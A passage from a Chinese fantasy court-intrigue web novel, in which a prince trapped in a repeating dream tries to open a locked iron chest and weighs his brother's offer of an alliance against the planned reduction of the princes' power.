片刻之后,周昕阳脸色难看了起来。
“转轮扭动的声音,居然没什么差别?”
“该死!”
周昕阳不信邪,拿出简易竹制听筒,对着转轮机关,认真的听着细节变化。
就在周昕阳全神贯注听着机关变化的时候——
“砰!”
突然,一阵剧痛,从后脑勺上传来。
周昕阳只觉得一阵头晕目眩,他猛然回头,原本还躺在地上的周炳宸已经站在了他的身后。
手中握着带着血的榔头……
“老九,别怪哥哥,我真不想被废!”
随着话语落下,又是一榔头,朝着他脑袋砸来。
周昕阳一个侧身,躲过榔头攻击。
“去**!”
周昕阳捡起身旁的宝剑,就朝着周炳宸咽喉处刺去。
“额额……”
周炳宸口吐鲜血,瞪大了眼睛。
下一刻,他倒了下来。
太子**!
“真以为我不敢杀你?”
“浪费我的时间。”
周
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昕阳摸了摸后脑勺,看着手上的鲜血,脸色难看。
周昕阳眼前一片模糊,都有些站不稳了,他连忙用剑支撑住自己,喃喃道:“就该直接杀了他。”
“又浪费了一次机会。”
“该死!”
周昕阳能感觉自己的脑骨裂了,头晕目眩,眼前天旋地转,就跟晕船一样。
很显然,周炳宸是下了死手。
这个状态,他已经不可能继续开锁了。
甚至也没办法返回宫殿,继续聚会,走流程了。
“可恶!”
周昕阳暗骂一句,虽然在梦境内**,现实中不会有影响,可梦境中的触感,却是实实在在的。
脑袋上的剧痛,清晰无比。
根本没办法冷静思考……
这也是周昕阳为什么怕被宸察院内缉司的人抓住的原因。
因为人家有刑具是真的上啊!
各种刑具,直接折磨一天。
如果不是只有一天,周昕阳都觉得自己能被玩崩溃!
“烦!”
周昕阳一阵烦躁,但也没办法,于是他拔起宝剑,干脆利落的自刎归天。
“噗呲!”
喉咙被划破。
血液飞溅。
周昕阳眼前一黑,彻底没了知觉。
下一刻——
整个世界,犹如破碎的镜面,寸寸碎裂,化作缤纷落下的碎片光雨。
漫天碎片光雨,逐渐化作一只只挥动羽翼的翩翩蝴蝶,不断挥动,飞往遥远的未知彼岸。
……
云梦州,泽川王府。
后院,主卧房间。
周昕阳从床榻上,猛然惊醒。
他摸了摸自己的脖子,拿起怀表,看着上面的时间。
【12:19】
“提前三个小时苏醒……”
“梦境里才过去了六个时辰,就被迫**了。”
“这个老大,还真不省心。”
“不过也还好,也不算是没有收获。”
“最起码路线走通了。”
“下一次入梦,最少能节约最少一个时辰的时间。”
“足够我好好破解铁箱了。”
“顺便可以再问一次,如果太子说的不一致,哼!”
周昕阳冷哼一声,脑袋上的仇,他就可以有仇报仇、有冤报冤!
喜欢偷袭是吧?
喜欢打头是吧?
下一次做梦,狠狠给你开个瓢!
第11章 剑南州来人
周昕阳翻身下床。
大步走到书桌旁,点起蜡烛,在烛光的照耀下,开始奋笔疾书。
“先梳理一下这次做梦的内容……”
“大致剧情走向,没什么变化。”
“唯一需要注意的,就是铁箱放置的位置,太子寝室下的地下密室,按照时间推算,太子会在我进入后的十几分钟内出现。”
“也就是说,我只要早一点,或者晚一点,就能轻松的避开他。”
“这是这次梦境的一大突破。”
“等于多解锁了一个新区域。”
周昕阳写到这里,停顿了一下,划了一行线,作为分段。
继续写道:
“通过尝试诗词破解法、触感反馈法、透光凹槽法,发现文字密码锁的破解难度,远超想象。”
“或许要从暴力拆解的方向入手……”
梦境的一切都太真实了。
所以,周昕阳不认为锁是没有办法打开的。
这个世界上,就没有开不了锁。
周昕阳唯一缺的,就是时间和方法。
只要找对方法,肯定能破解。
“不过,其实还有一个捷径。”
突然,周昕阳灵光一闪,有了一个主意。
“既然太子被废了,那岂不是说明铁箱被打开了?”
“那我直接去问现实中的老六,不就可以了?”
想到这里,周昕阳有种迫不及待的冲动,想要立刻前往老六的封地,跟他见一面。
但很快,周昕阳的这个想法,就被打消了。
王不见王。
按照大虞的律法,藩王之间,除了回京祭祖外,几乎不能私下接触,更别提前往封地见面了。
这种事情,太犯忌讳。
宸察院的人,早就想抓藩王们的把柄,绝不会放过这个机会。
“尤其是,这些年来,父皇明显有些昏聩,对太子防范很深,又留着老二、老三身旁伺候,其实也就是因为他的举动,才导致了太子造·反的悲剧……”
周昕阳思绪转动,暗暗想道。
不过,这也是难免的事情,人老了,脑子不灵活了,就总爱胡思乱想,哪怕是再怎么英明神武的帝王,到了老年,也会做出许多迷之操作。
周昕阳因为自己梦境的时候,就很喜欢读史书,纵观历史,没有新鲜事。
甚至对于太子造·反,周昕阳都觉得不意外。
你昭明帝都偏爱成这样了,难道我还不造·反吗?
不造·反,岂不就是束手就擒?
原地等死吗?
“见面不行。”
“书信更不行。”
“现在太子刚刚被废,我就去询问相关细节,哪怕是梦境的事情,也肯定会被宸察院调查。”
“我不能自己给自己找事。”
周昕阳虽然是藩王,但实际上,权力是很受限的。
内陆·四王的权力,受限于特殊的地理位置,是远远没办法跟边境四王相提并论的。
更何况,他还是最小的皇子、势力最弱的藩王。
现实世界,可不是梦境世界,可以随心所欲。
稍有不慎,这要是被抓、被关、甚至**,那就真完了。
周昕阳打消了自己这个不切实际的想法。
“排除老六这个最好的选项。”
“还有没有其他的方法破解呢?”
周昕阳微微眯眼,陷入了沉思。
很快,他又有了一个主意。
“跟太子的梦中对话,有三个很有意思的信息。”
“第一个,他的龙袍并不在东宫,而是在他母后吴皇后手中。”
“第二个,他也被宸察院的人盯着。也就是说,东宫内,肯定有宸察院的人。”
“第三个,就连太子自己都觉得,铁箱内的东西涉及巫蛊之术,所以他才想要**灭口,杀死自己,保住秘密。”
“这些信息,每一个,都能利用。”
周昕阳脑海中浮现出一个计划。
“是否可以去找父皇,让他派人去皇后宫中搜查,一旦确定龙袍,就可以搜查东宫,让铁箱提前暴露,然后在梦中招来能工巧匠来开锁……”
“把专业的事情交给专业的人?”
周昕阳摇了摇头:“不行。”
“首先,我解释不了情报的来源,如果说服不了父皇,我肯定会被调查,身为异地藩王,却能准确知道皇宫中的情报?”
“这本身就是问题。”
“其次,我不能保证太子所说的,就是真的。他如果是骗我的,那无疑又浪费了一次机会。”
“除非,我能搭上宸察院的人,
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让他们来暴露这些情报,然后提前找出铁箱……”
周昕阳又有了一个新思路。
说实话,如果真让他一个外行,去开锁,开到猴年马月去。
一个七转密码锁就把他搞得头疼了。
更别提后面还有一个反向簧锁。
“哪怕用暴力拆解,有父皇的支持,派能工巧匠来,肯定速度更快。”
“我还是不够专业。”
周昕阳觉得破解的关键,在于如何取信昭明帝。
只要能得到梦中父皇的支持,解开铁箱,不过是时间问题。
“算了,一头浆糊。”
“先睡觉吧。”
“明天早上起来,再好好想一想。”
周昕阳甩了甩脑袋,将纸张上的内容,认真记下后,丢到火盆里面,将其烧毁。
这种东西,可不能留。
各地藩王,都被宸察院的人秘密盯着。
他也不例外。
他可不想引火烧身。
至于说,昨天让锁匠帮他开锁、让读书人作诗词的事情……
“嗯……如果梦境为真的话,恐怕父皇知道后,也会来找我。”
周昕阳突然觉得自己还是太冲动了。
不该大张旗鼓的来,应该让人悄咪咪的来。
“居然忘记这一茬了。”
“有点难搞了。”
周昕阳拍了拍自己的脑袋,露出苦恼的表情。
在梦境世界浪习惯了,竟然变得不谨慎?
如此明显的漏洞,居然一开始没发现?
“哎,算了,如果真被父皇知道,大不了就用做梦来解释吧。”
“还能咋办?”
周昕阳重新爬上床,继续睡觉。
这一次,他可以睡个好觉了。
……
次日,用完早膳,周昕阳在书房思考破局之法的时候,太监徐善走了进来,禀告:
“殿下,有个富商,想跟您谈个生意。”
“您看,见不见?”
闻言,周昕阳皱眉,问道:“富商?”
“哪里来的富商?”
“回殿下,是从剑南州过来的。”徐善低声道。
“剑南州?”
这是老六的封地?
周昕阳心头一惊,略微沉思后,吩咐道:“让他来见孤。”
“是。”
徐善连忙行礼,离开了书房。
第12章 削藩与清君侧
泽川王府。
书房。
一名憨态可掬、满脸笑容的胖子富商,对着周昕阳,恭敬作揖:“小人钱有,见过王爷。”
富商身后的下人,也一同行礼。
下人身材高大,皮肤黝黑,始终低着头,身穿麻布衣裳,与臃肿肥胖的富商,显得格格不入。
“钱有?”
“这名字,倒是有点意思。”
周昕阳淡淡一笑,眼眸看向钱有身后的下人,眼中尽是审视。
“王爷说笑了。”钱有赔笑道。
“说吧。”
“谈什么生意?”
周昕阳缓缓收回目光,淡漠开口。
“王爷,云梦州地大物博,谷物丰富,我剑南州土地贫瘠,却盛产铁矿石,若能互通有无……”钱有喋喋不休的说着。
周昕阳无情打断:“谷物丰富,你可以自行采买,只要符合要求,本王不会阻拦。”
“至于铁矿石……呵呵。”
周昕阳呵呵一笑,眼神冰冷:“本王没记错的话,朝廷应该没有将开采之权,交给商贾吧?”
“能将朝廷的铁矿石运出来,钱老板好手段啊!”
钱有感觉到了一股无形的压力,忍不住擦了擦额头上的汗珠,“王爷……”
“好了。”
“本王懒得跟你废话。”
“六哥,你还要藏到什么时候?”
周昕阳冷声道。
“哈哈,九弟,京城一别,你风采依旧啊!”六皇子周煜城抬起头,露出了自己的真实的面容。
“六哥,还真是你?”
“你胆子还真大啊!”
“身为藩王,竟敢离开封地?”
“还敢来见我?”
“王不见王的规矩,你似乎全都忘记了!”
周昕阳虽然早就猜到了,可真正见到六皇子的时候,他还是免不了心脏狂跳,浮现出激动、恐惧等情绪。
同时,也为六皇子的胆大妄为感到害怕!
要知道,这可是现实世界,可不是有无数条命的梦境世界。
这里**。
那可就是真**!
没有重头再来的机会。
所以,一直以来,周昕阳在现实世界都是无比低调的。
风头是能不出就不出,一切都按照规章办事,越低调越好。
可周煜城他怎么敢的?
他居然敢来自己的王府?
他疯了吗?
“规矩,我当然记得。”
周煜城呵呵一笑,“你先下去吧。”
“是。”钱有连忙退出了房间。
“不过现在的父皇,应该没精力管我们了。”
钱有离开后,周煜城继续开口。
“你这话是什么意思?”周昕阳心头一寒,难道说父皇的病已经严重到这个地步了吗?
老六如此胆大,打破规矩来见自己,恐怕别有所图啊!
一个想法,浮上心头。
造·反!
因为被父皇赶回封地,心有不甘,所以打算起兵夺皇位?
“陛下最近时常失眠,在深夜召见太医,对外宣称,是开安神助眠之药,实际上,父皇已经病入膏肓,命不久矣了。”周煜城淡漠的说出了一个重要的情报。
“嗯?”
周昕阳眉头一皱,“所以你想说什么?”
“九弟,不要紧张嘛!”
周煜城脸上浮现出一丝笑容:“你六哥没那么蠢,就我们手头上这些人,想要犯上作乱,没这个本事。”
“六哥来找你,不过是提前与你结盟罢了。”
“结盟?”周昕阳皱眉,“你这话是什么意思?”
“九弟,你说现在老大已经被废掉了,父皇又留下老二、老三在身前侍奉,你说,父皇是什么意思?”周煜城幽幽开口。
“自然是想从二哥、三哥之中,挑选一个,继承大宝。”周昕阳熟读史书,自然明白父皇的用意。
“不错。”
“灵前继位。”
周煜城眼眸深邃,几乎是一个字一个字的说出这句话。
“老二老三都是内陆藩王,手握之权,也不过是一藩之地的兵权,即便给他京城之兵,比起边境四王,依旧力有未逮。”
“你觉得他们上位后会怎么做?”
削藩!
这个词,犹如惊雷一般,在周昕阳的脑海中响起。
这几乎是每一代立志成为明君的皇帝必定会做的事情。
兵权回归,中央集权,这才是真正的皇帝。
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>反之,藩王强盛,而皇帝势弱。
则皇位不稳。
天下离心。
“所以,你的结盟,指的是防止削藩?”
周昕阳立刻反应过来,冷声道。
“不错。”
“在我看来,无论是老二,还是老三,他们上去,必定削藩,只是时间问题。”
周煜城眼眸冰冷,“哪怕他们不削藩,他们不过藩王之身,既非嫡长,也并没有成为太子,他们的位置,我们可以认,老四、老五、老七、老八可未必会认。”
“清君侧?”
周昕阳听懂六皇子的意思了。
如果昭明帝突然驾崩,皇位空悬,皇宫即将会发生剧变,无论是老二,还是老三上位,灵前继位,合法性都不够!
因为昭明帝并没有立他们中的任何一位为太子,不是太子,藩王继位,就容易给其他藩王借口。
大家都是藩王,都是父皇的孩子,我们在外面镇守边疆,你在偷家?
谁能服气?
如果是老大,那大家哪怕有诸多不满,也无可奈何。
毕竟人家出生就是太子,当了十五年太子,不说功绩如何,最起码人家位置正!
上去当皇帝。
大家都服气。
因为太子继位,名正言顺,谁反对,谁就是反贼。
可老二、老三上去,不是一回事!
“想明白了?”
周煜城嘴角勾起一丝笑容:“老大虽然做了错事,可他毕竟当了十五年的太子,满朝文武都认他这个太子,东宫这些年提拔了多少官员?又有多少官员受了太子的恩惠?”
“他上位,天经地义,谁也不能说一个不字。”
“可他偏偏醉酒奔马御道,还联合国舅长孙晟起兵造·反,只可惜,最终被人举报发现,导致被废掉太子之位,关入宗人府,成为阶下囚。”
“可惜啊!”
周煜城嘴上说着可惜,但脸上却没有一丝一毫对太子被抓的惋惜。
“那天晚上究竟发生了什么?”
周昕阳听见话题终于被引到了太子身上,于是立刻接过话头。
“怎么?”
“你感兴趣?”
周煜城眉头一挑。
第13章 不一样
“没什么。”
“好奇嘛!”
周昕阳自然不会直接说出自己的目的。
“是吗?”
“你想知道什么?”
周煜城打量着周昕阳,却并没有掩饰的意思。
闻言,周昕阳强压下心头的激动,不动声色的询问:“你刚刚说太子联合国舅长孙晟起兵造·反,这究竟是什么回事?”
“呵呵。”
“我还以为是什么事情呢?”
“怎么?”
“九弟,你的人在皇宫内的情报,连这都探查不出来吗?”
周煜城呵呵一笑,“其实事情也不复杂,我知道你喜欢读史书,认为以史为鉴,可以知兴替,既然如此,对于太子的极端行为,你应该不意外吧?”
“无非就是父皇偏爱老二、老三,将他们留在京城,引起了太子的惶恐,最终被底下人逼着,走了不归路。”
“他运气背,如果不是被人举报,恐怕真让他成了。”
“不过,他胆子倒是真大。”
“敢用自己当诱饵,在午门吸引皇城守军,同时,让长孙晟带兵走神武门入宫,发动兵变。”
“他居然不担心长孙晟兵变后,自己篡位称帝,还真是愚蠢至极!”
周煜城的言语中尽是对太子的嘲讽和讥笑。
周昕阳心头一跳,这个情报,他倒是没掌握。
准确的说,按照梦境的剧情走向,在御书房剧情后,才是神武门兵变。
因为时间到了,梦境重置了,所以每一次周昕阳都没看见国舅兵变、夺取宫门的剧情。
自然就不会特意去关注太子……
“成王败寇罢了。”
“如果太子赢了,真成了皇帝,恐怕六哥又是另一个说辞了。”
周昕阳淡淡说道。
“哈哈。”
“你说得对。”
周煜城嘴角勾起,“九弟不愧是熟读史书,历史就是如此,谁赢了,谁就是正义!后世的记载就会说英明神武、胆大心细、顺位继承。”
“毕竟太子可是国之储君,哪怕某天父皇突然驾崩,由他来继位,文武百官都不会什么异议。”
藩王、皇子,跟太子完全不是一个身份。
一个只是皇室宗亲,一个是礼法、名义上的正规继承人。
甚至于太子造·反,只要成功,那别人只会以为是顺位继承。
只要不杀皇帝,好好养着,甚至都不会有大臣反对。
“六哥,你为什么留在京城?”
“那个举报之人,该不会是你吧?”
周昕阳思绪转动,开口试探,逐渐往铁箱线索上引。
“怎么可能!”
周煜城摇了摇头,“老大如此疯狂的操作,连我都没想到,这次太子会暴露,还是宸察院的人立了功。”
“听说是文察司的暗子发现了太子与长孙晟的密谋。”
嗯?
重要情报+1。
周昕阳念头转动,他想要的破局点终于出现了。
只要找到这个文察司的暗子,想办法说服他,就能提前拿出铁箱,借用梦境朝廷之力开锁。
“不对。”
突然,周昕阳反应过来,老六没说实话。
“六哥,你不老实啊!”
“我怎么了?”周煜城微微皱眉。
“正如你说的,你不是举报人,太子兵变造·反,你也未曾提前预料,那你为什么会被留在京城一段时间?”
“我都以为你也有争一争那个位置的机会!”
周昕阳沉声道。
“呵呵,我话还没说完,九弟你急什么?”周煜城恍然一笑,“我虽然没发现什么,但文察司暗子发现后,立刻就向父皇禀告了此事。”
“为了能有借口对太子动手,父皇特意秘密宣召了我,前往东宫搜查谋逆之物。”
“我是作为参与调查的人,留下来配合处理案件的。”
周煜城的话,与周昕阳的猜测一致。
梦境中的画面,也表明周煜城参与了东宫搜查。
“在东宫搜查,发现了什么?”
周昕阳深吸一口气,他终于把话题引导到这里了。
“发现了什么?”
周煜城摇了摇头,“什么都没发现。”
“也不知道老大将东西藏到哪里去了。”
“听说他私造龙袍和玉玺,居然没搜到?”
此话一出,周昕阳瞳孔猛地一缩,忍不住握紧了拳头,“什么都没搜到?”
“怎么可能?”
“如果什么都没搜到的话,为何你会留在京城这么长时间?”
不一样!
梦境与现实不一样?
可怎么可能呢?
所有细节
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都一模一样,可现实中居然没有铁箱?
如果没有铁箱,不存在压制气运的事情,太子为什么会走向极端呢?
哪怕老二、老三在京城,目前文武大臣还是向着他的,就如老六所言,这么多年,满朝文武都认可了这位太子,也有不少大臣是凭借东宫拔擢,才提拔上去的。
这些大臣都受了太子的恩惠。
未来都是太子的肱骨之臣!
没有铁箱中的巫蛊之物,除非太子被迷了心智,不然怎么会做出如此失智之举?
“确实什么也没搜到。”
周煜城自顾自的说着,并未注意周昕阳的神态变化。
“我也很奇怪,九弟你说老大能把龙袍、玉玺藏到哪里?”
“我明明已经把东宫掘地三尺的搜寻了。”
“却还是什么都没发现。”
“真奇怪!”
周昕阳头皮发麻,不对!
难道自己猜错了?
自己做梦,只是单纯的做梦?
梦境与现实并不一样?
没什么关系?
不!
不可能!
如果没关系,怎么可能重复这么久?
如果没关系,他为何会在十岁的时候就开始重复这个梦境?
如果没关系,他为何会在祭祖大典当天失去意识?
肯定有什么细节错了!
难道现实世界中的老六,并没有搜到卧室里的地下密室?
“真的都搜遍了?”
“我如果是太子,如此重要的东西,肯定不会放在藏宝库里,肯定会放在随时可以检查的地方……”
周昕阳淡淡说道。
“对,我也是这么想的。”周煜城点了点头,“所以,我特意搜了老大的卧室、书房等地方,可惜还是一无所获。”
“你没在这些地方发现什么地下密室?”周昕阳忍不住继续追问。
“地下密室?”
“没有啊!”
周煜城摇头:“哪有什么地下密室,我都掘地三尺的寻找了,如果有的话,肯定会发现的。”
“九弟,你在想什么呢!”
“挖掘地下密室是多大的工程,如果有的话,怎么可能隐藏得住?”
“除非十五年前,太子刚入东宫的时候,趁着修缮宫殿的机会,就开始秘密建造,不然怎么可能瞒得住宸察院的人?”
第14章 梦境疑点
“为什么不可能呢!”
周昕阳喃喃道。
“是有这个可能。”
“不过没找到啊!”
周煜城说道。
没找到!
没有铁箱……
没有开锁之法……
所以梦只是梦?
周昕阳对于这个答案,他不接受。
肯定哪里出了问题!
不然他突然失去意识,还能完美度过祭祖大典的一切,难以解释!
“九弟你对这件事很在意?”周煜城观察着周昕阳的反应,试探问道。
“嗯,做梦梦见的。太**里应该有个地下密室才对。”周昕阳点头,回答得很自然。
“你的梦魇之症还没好吗?”周煜城皱眉,打量着周昕阳的状态。
“好了,但有些事情,我还是比较在意。”周昕阳说道。
“你这个状态,真不知道找你结盟,到底是对还是错?”周煜城苦笑一声,“算了,来都来了,你有什么想法?”
“给我一个准话吧。”
“结盟之事,可以考虑,但要给我一点时间。”周昕阳并没拒绝。
历史上,新帝上位后的削藩,往往意味着血腥和杀戮。
朝代更迭,新旧势力接替,总会出现一个又一个的问题。
更何况,昭明帝的一些国策,在当时来看,是正确的。
可随着昭明帝变老,一些国策,就有了明显的弊端,甚至有可能会造成内乱。
最出名的国策,就是用藩王来替代原先的四大将军,镇守边境。
所谓的边疆四王,就是这么来的。
原先的大虞,采用的国策是用将军外派,手握兵权,以此来制衡藩将。这种政策,就需要京城大军必须是全国最强大的。
有一军而震天下的能力。
如此才能保证四方平定。
可将军外派,用朝廷将军制衡藩将的做法,很容易滋生**,一旦将军与藩将沆瀣一气,就可能掀起**。
所以,在昭明帝上位后,励精图治,进行改革,将自己的儿子派到边疆,把原先只有两方势力的边疆,改成更稳定的三方结构。
藩王、朝廷大将、藩将,三方势力,相互制衡,形成一个微妙的平衡。
用平衡来保持稳定。
这个国策,在当时来看,无疑是非常合适的。
因为儿子是自己人,也是朝廷的人,在外派大将和藩将眼中,就是朝廷派来监视他们的人,三方天然敌对,形成一个稳定的局面。
再加上,明里,朝廷还会派出太监随军,监管藩王的一举一动,暗里,会派出宸察院内缉司的暗子,藏匿军中,监视藩王,一旦发现勾结,就会立刻上报。
这一明一暗,几乎杜绝了藩王勾结的可能。
外派大将采取轮岗、轮换的形式,二到三年进行轮换,从一个边境调到另一个边境,除了二三百的亲兵,任何兵马不动。
藩将一到两年,必须调整领兵将军,不能长时间统兵。
这几点下来,无论是藩王、藩将、外派大将都失去了拥兵自重的可能。
这个国策,在当时解决了边境之乱。
可随着时间流逝,外派大将轮换,藩将调整,原先最弱的藩王,现在反而成了最大的问题。
驻扎十几年的四大藩王,已经成为边境之地名副其实的王!
手握重兵,还有藩将的支持,外派大将的拥护,大有尾大甩不掉的架势……
这也是为什么周煜城会认为在老二或老三上位后,天下必有大乱的原因。
在周昕阳看来,其实昭明帝的国策并没有问题,想要解决也很简单。
既然外派大将能轮换,藩将可以调整,那藩王为什么不行?
一方面保证藩王们的封邑权力,另一方面调动藩王,也采用四大边疆轮换的方式进行削权。
只带亲兵,给其他边境的兵权。
如此一来,藩王做大之局,立解。
除非真想造·反,不然这一套组合拳打下来。
边疆四王也只能老老实实的。
可恰恰因为昭明帝老了,昏聩了,已经没有了昔日的雄心壮志,他想的已经不是如何让这个国家更好,让朝廷更稳定,他想的是如何安稳的度过最后的岁月……
不至于一世英名到老了,反而毁了。
人心思变,四大边疆藩王手握重兵多年,现在让人把兵权交出来,跟边疆大将一样进行轮岗。
他们会愿意吗?
哪怕他们愿意,在调整的过程中,敌国入侵,导致边疆失守,这个责任谁来负责?
正因为有诸多顾虑,所以这件事,才不了了之。
“可以。”
“我会在这里再待三天。”
“你
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给我一个准信。”
周煜城点了点头。
“好。”
周昕阳点头。
……
送走周煜城后,周昕阳将自己关在书房,开始思考接下来的对策。
老六的突然到来。
让周昕阳有些措手不及。
却也带来了几个很关键的情报。
“有点乱了。”
“要再理一理思路。”
“将梦境和现实分开。”
周昕阳深吸一口气,将纷乱的思绪平复下来,铺开宣纸,拿起墨笔,开始书写。
“首先是老六带来的情报之一,东宫内有宸察院的暗子,是因为他的举报,才让老六有了插手东宫调查的权力,同时,也让他留在了京城。”
“换句话说,如果我能在梦境中找到那个暗子,说服他,就可以通过他来传递铁箱的情报……”
周昕阳在纸张上,写了一个梦字。
第一点:东宫内有宸察院暗子,可以利用,完成提前暴露铁箱的目的,把一切提前。
“但有一个问题,这个情报,是现实中的老六提供的,并不代表梦境中就一定有这个暗子。”
“这一点,需要证实。”
周昕阳划了一道线。
继续书写。
“其次,梦境和现实,第一次出现了偏差。”
“梦境世界,有铁箱,有可能存在的古巫之术,还有那个神秘的老道士。”
“现实世界,没有铁箱,太子被抓,关入宗人府,是因为国舅长孙晟神武门造·反……”
“这个偏差,在梦境中究竟是否存在?”
“这一点,很关键。”
“必须要弄清楚。”
“如果梦境中也存在国舅神武门造·反,那么就只有铁箱这一个存疑点。”
“那我的方向就是正确的。”
“确实是铁箱有问题。”
“反之,如果梦境和现实有很大的偏差,或许未来会出现很多疑点……”
“如果是这样,或许铁箱,就不是解开谜底的关键。”
周昕阳一阵头疼。
他可不希望铁箱不是唯一的破局点。
如果是这样的话,接下来的梦境通关,就会从破解铁箱,变成找不同。
“这样就更麻烦了。”
周昕阳喃喃自语,继续动笔。
“第三点……”
第15章 再次入梦
“第三点,当前的处境。”
“排除梦境的因素,现在世界的问题也很大。”
“父皇身体出现了大问题,随时可能驾崩。”
“驾崩之后,老二、老三无论谁上位,削藩都是势在必行的。”
“稍微聪明一点,会先加恩,逐步削藩,稳定朝政。”
“稍微蠢一点的,立刻大刀阔斧的改革,将刀锋对准几大藩王……”
周昕阳眼眸闪烁,思绪沸腾,眼前宣纸上的墨字,逐渐浮现而起,荡起涟漪,化作刀光剑影的战场。
墨色九龙嘶吼,五条火凤腾空,龙吟凤鸣,喧闹不止。
周昕阳看着这一幕,面无表情。
眼下的局面,让他很头疼。
内陆·四王、边疆四王,再加上已经被废掉的太子。
整个大虞有九条龙,还有五位公主,九龙五凤,当然,以目前的局势来看,五凤是不可能有机会参与皇位争夺的。
历史上,没有先例。
老二、老三都是内陆·四王,手握兵权,深得父皇的信任,他们的军队,在父皇驾崩后,能够第一时间赶到宸极城。
藩王上位,哪怕有遗诏,不经历一场血洗,这个皇位是坐不稳的。
正如老六所言,藩王上位,并不符合宗室之法。
事到如今了,父皇还在犹豫,还没定下人选,还不立太子,这本身就是**的祸根。
“父皇,你到底在想什么?”
“你是真的昏聩了吗?”
周昕阳身为局外人,连他都能看清楚的事情,朝堂诸公岂会看不懂?
父皇执政多年,岂会不知储君不稳的后果?
大家都能看得懂,却都不吭声,父皇也听之任之,迟迟不作决定……
“无论是老二,还是老三,你快点定下来啊!”
周昕阳对于皇位,没什么兴趣,而且,哪怕有兴趣,说实话,他希望也不大。
最小的皇子,封地最小,兵马最弱,上面八个哥哥,他拿命去争夺皇位?
可大虞一旦真正发生**,任何人都不可能独善其身。
包括他。
“削藩,第一个动刀的,一般都是最弱的藩王。”
周昕阳神情凝重,古往今来,都是有惯例的。
从没听说过,削藩,一开始就往最难啃的骨头去啃的。
杀鸡给猴看。
谁是鸡?
谁是猴?
一目了然。
“老六来找我,呵呵,说明他也慌了。”
“他为什么冒险来找我,不就是怕我这只鸡**,接下来就轮到他了……”
周昕阳呵呵一笑。
对于这点,他看得很透彻。
理由很简单。
老二、老三都斗到这个份上了,前一步当皇帝,后一步阶下囚,是个人,都会斗到底。
哪怕最终父皇没选他,那个失败的人也不可能放手。
肯定会殊死一搏!
太子都稳操胜券了,还有一搏的勇气,更何况是他们?
谁都不想当阶下囚!
都拼到只差一步了。
谁会放弃?
“所以,老二、老三的势力会被第一时间控制,吞并掉。”
“老二上位,老三封地被控制,老三上位,老二被控制。”
“然后……”
“想要继续推进削藩政策,就会拿我开刀。”
周昕阳很清楚,一旦权力的车轮开始滚动,所有人都将身不由己。
“梦境可以重来,现实可不行。”
周昕阳很难受,但也没办法,身为最弱藩王,他只能逆来顺受,苟延残喘。
“和老六的联合,还真可以考虑下。”
“不过,联合也是有风险的。”
周昕阳很谨慎,因为他很清楚,现实世界可没有从头再来,万一搞崩了,死就真的**。
“难搞啊!”
周昕阳看着眼前宣纸上的内容,幽幽一叹。
其实按照周昕阳的想法,能够平稳的进行权利过渡,无疑是最好的。
这天下,只有太子继位,才能保证短时间内,不发生内乱。
“哪怕有废立之心,只要不犯谋逆大错,太子基本上不可能被废。”
周昕阳摇了摇头,“不过也说不准,毕竟老二、老三被长时间留在京城,这本身就代表了皇帝的态度。”
“藩王长时间滞留京城,文武百官议论,太子如坐针毡,这种压力,最终逼迫着他走极端……”
其实对于太子的心思,周昕阳是能共情的。
历史上,太子顺利继位的,少之又少。
十五年的诡谲云涌,太子在刀光剑影之下,谨小慎微的度过了。
随着昭明帝身体越来越
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差,距离那个位置,只差一步之遥了。
这个时候,昭明帝让老二、老三这两位藩王长时间滞留京城,这无疑是在太子脆弱的神经上,撒了一把盐。
“只要没有正式登基,就都有变数,都有功亏一篑的可能,也正因为如此,才会进行神武门兵变。”
周昕阳深吸一口气,将情绪重新平复下来。
事已至此,朝堂变化,时局变化,他已经无力更改,身在局中,只能随波逐流了。
“结盟之事,暂且按下,先全力攻克梦境。”
“一定要弄清楚铁箱究竟是什么?”
周昕阳将眼前的宣纸撕碎,丢入火盆。
……
晚上,亥时前。
周昕阳躺到床上,望着天花板,思考着这一次梦境需要达成的目标。
“再梳理一下细节。”
“梦境中,发现了铁箱在东宫的具体位置,同时从太子口中逼问出了关于老道士的情报,以及铁箱内可能存放的东西。”
“因为巫蛊之术,所以梦中太子对我出手,打算**灭口。”
“现实中,老六提供了情报,太子并非因为巫蛊之术才被废掉,而是因为联合国舅长孙晟在神武门谋逆,这才被废。”
“老六说,太**中有宸察院的暗子,也是因为这一点,他才被召见,才被留了下来。”
“换句话说,如果我能发挥作用,是否能顶替老六,被留下来?或者,想办法提前捅出铁箱之事,借用朝廷内的能工巧匠来破解铁箱上面的锁……”
“不过,今天最关键的,就是证实神武门兵变是否存在?”
“弄清楚为何梦境中有铁箱?”
“而现在中没有……”
周昕阳想着想着,突然涌起了一丝困意,眼皮开始沉重起来。
很快,他的眼前被无边的黑暗所吞噬。
恍惚间,在无边黑暗中,一只七彩绚烂的梦幻蝴蝶,煽动着翅膀,朝着唯一的光亮点飞去。
光点逐渐变化成流淌着淡淡银光的河流……
……
皇宫大内,偏殿。
巳时一刻。
“殿下,醒一醒,祭祖大典快开始了……”
一个熟悉的声音,在周昕阳的耳畔响起。
周昕阳猛然睁开眼睛,看着周围熟悉的环境,他清楚新一轮梦境开始了!
第16章 这一轮盯梢宸察院密探
“王爷,你吓死我了,突然晕倒,要不是您交代过……”
徐善喋喋不休的话语,在周昕阳的耳旁响起。
“你肯定去叫御医了,对吧。”周昕阳直接打断施法。
“额……王爷,你怎么知道我要说什么?”徐善一脸错愕。
“你每天都老一套,我都会背了。”
“行了,走吧,去祭祖大典。”
周昕阳直接开始走流程。
……
申时正中(怀表时间16:00)。
周昕阳跟徐善互换了衣服。
“王爷,你可一定要按时回来啊!”徐善哭丧着脸,“不然我可扛不住。”
“行了,啰嗦。”
周昕阳学着徐善的姿势,退了出去。
随后,还是老套路,先走一趟御膳房,交代了一下糕点。
然后在御花园,故技重施。
一个倒挂蝙蝠式,把宸察院的暗子甩掉。
“先去趟御书房。”
周昕阳思绪微动,他曾跟宸察院斗智斗勇过许多次,对于宸察院高层在一段时间内的动向,他可谓是了如指掌。
“如果我没记错的话,内缉司·右提督使应该在这个时间点,找父皇汇报过太子之事。”
“他的情报来源,不出意外,应当是从那个东宫内的暗子中获得的。”
“在禀告完父皇后,他应该会继续给东宫暗子下令,我或许可以顺藤摸瓜,找到那个人。”
周昕阳思绪转动,根据大脑里早就背下来的皇宫堪舆图,避开各种耳目,前往御书房。
……
御书房。
“陛下,东宫内的线人传出消息,太子私穿龙袍,私刻玉玺,在宝库内还存有不少**,请陛下圣裁。”
内缉司·右提督使厉斩秋恭敬半跪,向昭明帝禀告。
